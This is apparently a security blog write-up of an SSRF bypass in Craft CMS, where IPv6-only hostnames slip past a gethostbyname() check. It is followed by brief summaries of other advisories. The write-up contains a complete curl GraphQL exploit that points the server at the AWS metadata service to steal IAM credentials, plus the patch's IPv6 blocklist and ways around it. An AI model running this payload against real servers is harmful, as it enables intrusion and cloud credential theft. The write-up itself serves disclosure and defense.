Feb 24, 2026·6 min read·46 visits
Craft CMS failed to sanitize IPv6-only hostnames because PHP's `gethostbyname` doesn't resolve AAAA records. Attackers can use this to hit internal services (AWS IMDS, Loopback) by using domains that only resolve to IPv6, effectively bypassing the application's IPv4-centric allowlist/blocklist logic.
A sophisticated Server-Side Request Forgery (SSRF) bypass in Craft CMS leverages the often-overlooked disparity between legacy PHP networking functions and modern dual-stack infrastructure. By exploiting how `gethostbyname()` handles IPv6-only hostnames, attackers can bypass security filters intended to block internal access, directly targeting cloud metadata services like AWS IMDSv2 via their IPv6 endpoints.
In the world of web security, we often joke that developers are playing 4D chess while security engineers are stuck playing checkers. In the case of CVE-2026-27129, it's more like the developers were playing a game of "Go Fish" using a deck of cards from 1999. This vulnerability is a classic example of technical debt colliding with modern infrastructure. It's an SSRF (Server-Side Request Forgery) bypass that renders the previous security patch—CVE-2025-68437—completely moot.
Here is the setup: Craft CMS, a popular content management system, allows users to import assets from remote URLs via GraphQL mutations. Naturally, allowing a server to fetch arbitrary URLs is dangerous, so they implemented a blocklist to stop you from fetching localhost or 169.254.169.254 (the holy grail of cloud metadata). But here lies the rub: the internet is running out of IPv4 addresses, and the world is moving to IPv6. The code responsible for checking these URLs, however, was stuck in the IPv4 era.
This isn't just a simple input validation error; it is a fundamental misunderstanding of how PHP's standard library interacts with the underlying operating system's resolver. The vulnerability allows an authenticated attacker (or anyone with access to a misconfigured public GraphQL schema) to trick the server into thinking a malicious internal request is perfectly safe, simply by speaking a language the validator doesn't understand: IPv6.
To understand this exploit, you have to look at the specific PHP function Craft CMS was using to validate domains: gethostbyname(). If you check the PHP documentation, or if you've been coding since the LAMP stack was the new hotness, you know that gethostbyname() gets the IPv4 address corresponding to a given Internet host name.
Here is the logic flaw in pseudocode:
$ip = gethostbyname($hostname);
if (is_internal_ip($ip)) {
die("Hacking Attempt Detected!");
}
// Proceed to fetch contentThe catastrophic failure occurs when an attacker provides a hostname that only has an IPv6 (AAAA) record, and no IPv4 (A) record. When gethostbyname() sees a hostname it cannot resolve to an IPv4 address, it doesn't return false or throw an error. In a stroke of API design genius (read: sarcasm), it returns the original hostname string unmodified.
So, if I send fd00-ec2--254.sslip.io (which points to AWS's internal IPv6 metadata service), gethostbyname returns string "fd00-ec2--254.sslip.io". The validator checks this string against a list of banned IPs like 127.0.0.1. Since "fd00..." is not "127.0.0.1", the check passes. The application then hands this URL off to Guzzle (the HTTP client). Guzzle, being a modern and capable library, happily resolves the AAAA record and connects to the internal IPv6 address fd00:ec2::254. Checkmate.
Let's dissect the patch. The vulnerability existed because the validation relied on a function that was blind to half the internet. The fix, applied in commit 2825388b4f32fb1c9bd709027a1a1fd192d709a3, attempts to manually bolt on IPv6 awareness.
Here is the essence of the remediation:
// The new validation method added in the patch
private function validateIp(string $ip): bool {
// ... existing IPv4 checks ...
// The new IPv6 blocklist
$v6Prefixes = [
'fd00:ec2::', // AWS IMDS
'fd20:ce::', // GCP Metadata
'::1', // Localhost
'fe80:', // Link-local
'::ffff:', // IPv4-mapped
];
foreach ($v6Prefixes as $prefix) {
if (str_starts_with($ip, $prefix)) {
return false;
}
}
return true;
}> [!NOTE]
> Researcher's Critique: While this stops the immediate bleeding, using string manipulation (str_starts_with) to validate IP addresses is historically fragile. IP addresses have many valid string representations. For example, 0000::1 is the same as ::1, but str_starts_with($ip, '::1') might miss the former depending on normalization. Even worse, str_starts_with is case-sensitive. If an attacker sends FD00:EC2::... (uppercase), and the code checks against fd00:ec2:: (lowercase), they might walk right past the firewall again.
To exploit this, we don't need complex memory corruption or buffer overflows. We just need a DNS record and a GraphQL query. We will use sslip.io, a magic DNS service that resolves hostnames containing IP addresses to those specific IPs. Crucially, it supports dashed formats for IPv6.
The Setup:
We want to access the AWS Instance Metadata Service (IMDS). The IPv4 address is 169.254.169.254, which is blocked. But AWS also listens on [fd00:ec2::254].
The Attack Chain:
sslip.io that resolves only to the IPv6 address of the IMDS.
fd00:ec2::254fd00-ec2--254.sslip.iosave_photos_Asset mutation (or similar asset creation mutations) to tell Craft CMS to "download" an image from our malicious URL.curl -X POST https://target-cms.com/api/graphql \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"pwned.txt\" }) { id } }"
}'pwned.txt). We then simply request that file from the public asset URL to read the stolen AWS credentials.The remediation provided by Pixel & Tonic (the creators of Craft CMS) involves explicitly defining a list of dangerous IPv6 prefixes and checking the resolved host against them. This is available in versions 4.16.19 and 5.8.23.
However, software patches are often reactive. As a security practitioner, relying solely on the application layer to filter network traffic is asking for trouble. Developers will always miss an edge case (like ::ffff:169.254.169.254, an IPv4-mapped IPv6 address).
Defense in Depth Strategy:
iptables or cloud firewall rules (Security Groups) to drop all egress traffic to 169.254.169.254 and fd00:ec2::254.PUT request to retrieve a session token before data can be read. Most SSRF vulnerabilities (including this one) only allow GET or POST requests, meaning they cannot negotiate the token handshake required by IMDSv2.allowServerSideExcursions or similar settings depending on the plugin).CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P| Product | Affected Versions | Fixed Version |
|---|---|---|
Craft CMS Pixel & Tonic | >= 4.5.0-RC1, < 4.16.19 | 4.16.19 |
Craft CMS Pixel & Tonic | >= 5.0.0-RC1, < 5.8.23 | 5.8.23 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-918 |
| Attack Vector | Network (GraphQL) |
| CVSS v4.0 | 5.7 (Medium) |
| Impact | High (Confidentiality) |
| EPSS Score | 0.03% |
| Exploit Status | Proof of Concept |
Server-Side Request Forgery (SSRF)
netfoil, an allowlist-based DNS proxy, failed to sanitize ALPN fields parsed from untrusted DNS-over-HTTPS (DoH) HTTPS Resource Records. This allowed attackers to inject ANSI escape sequences into log files or trigger Denial of Service (DoS) via uncontrolled memory allocations.
An issue was discovered in the tokio-postgres library for Rust prior to version 0.7.18. A trust assumption mismatch between the PostgreSQL protocol messages sent by a server and how they are parsed and indexed by the client-side library allows a rogue or compromised database server to trigger a Denial of Service (DoS) crash via an unhandled out-of-bounds slice indexing panic.
CVE-2026-14669 is a critical heap-based buffer overflow vulnerability in PostgreSQL's date/time formatting function to_char(timestamptz). The flaw arises from unsafe copying of user-controlled timezone abbreviations into a fixed-size internal buffer. An authenticated database user can trigger this issue by setting a long POSIX timezone abbreviation containing custom formatting, allowing them to overwrite adjacent heap structures and hijack execution control to achieve remote code execution (RCE) with the privileges of the 'postgres' operating system user.
An unauthenticated remote denial of service vulnerability exists in the Unleash feature management platform. By submitting a crafted JSON payload containing deeply nested structures to an OpenAPI-validated endpoint, an attacker can trigger uncontrolled recursion within the error formatting module. This leads to a call-stack exhaustion (RangeError: Maximum call stack size exceeded) inside the Node.js runtime, causing the service to crash immediately without recovery.
CVE-2026-63004 is a server-side request forgery (SSRF) vulnerability in the Unleash feature management platform. Authenticated administrators with CREATE_ADDON or UPDATE_ADDON privileges can exploit this vulnerability to initiate requests to loopback addresses, private networks, and cloud metadata endpoints, potentially leading to information disclosure and credential extraction.
Prior to version 8.0.3, Unleash's Markdown event formatter directly mutated the global template-escaping function of the shared mustache Node.js module, resulting in a process-wide security degradation where HTML/Markdown escaping was permanently disabled for the application lifetime.